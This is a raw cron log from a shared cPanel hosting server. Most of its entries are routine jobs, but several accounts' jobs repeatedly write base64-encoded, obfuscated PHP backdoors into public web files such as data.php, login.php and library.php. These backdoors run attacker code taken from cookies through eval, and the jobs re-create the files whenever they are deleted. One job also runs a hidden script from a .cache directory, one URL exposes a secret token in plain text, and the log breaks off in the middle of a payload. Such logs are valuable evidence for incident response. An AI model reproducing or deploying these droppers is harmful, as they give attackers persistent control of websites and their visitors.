Mar  2 11:50:01 medusa CROND[17188]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:50:01 medusa CROND[17192]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:50:01 medusa CROND[17194]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 11:50:01 medusa CROND[17190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[17199]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 11:50:01 medusa CROND[17203]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[17204]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:50:01 medusa CROND[17189]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 11:50:01 medusa CROND[17196]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[17198]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[17218]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:50:01 medusa CROND[17193]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 11:50:01 medusa CROND[17184]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 11:50:01 medusa CROND[17185]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:50:01 medusa CROND[17202]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:50:01 medusa CROND[17223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:51:02 medusa CROND[3560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:51:02 medusa CROND[3561]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:51:02 medusa CROND[3562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:51:02 medusa CROND[3566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:51:02 medusa CROND[3570]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:51:02 medusa CROND[3571]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:51:02 medusa CROND[3573]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:51:02 medusa CROND[3574]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:51:02 medusa CROND[3572]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:51:02 medusa CROND[3584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:51:02 medusa CROND[3587]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:51:02 medusa CROND[3591]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:51:02 medusa CROND[3597]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:51:02 medusa CROND[3592]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:51:02 medusa CROND[3601]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:52:01 medusa CROND[21742]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:52:01 medusa CROND[21797]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:52:01 medusa CROND[21799]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:52:01 medusa CROND[21801]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:52:01 medusa CROND[21804]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:52:01 medusa CROND[21806]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:52:01 medusa CROND[21807]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:52:01 medusa CROND[21813]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:52:01 medusa CROND[21814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:52:01 medusa CROND[21815]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArI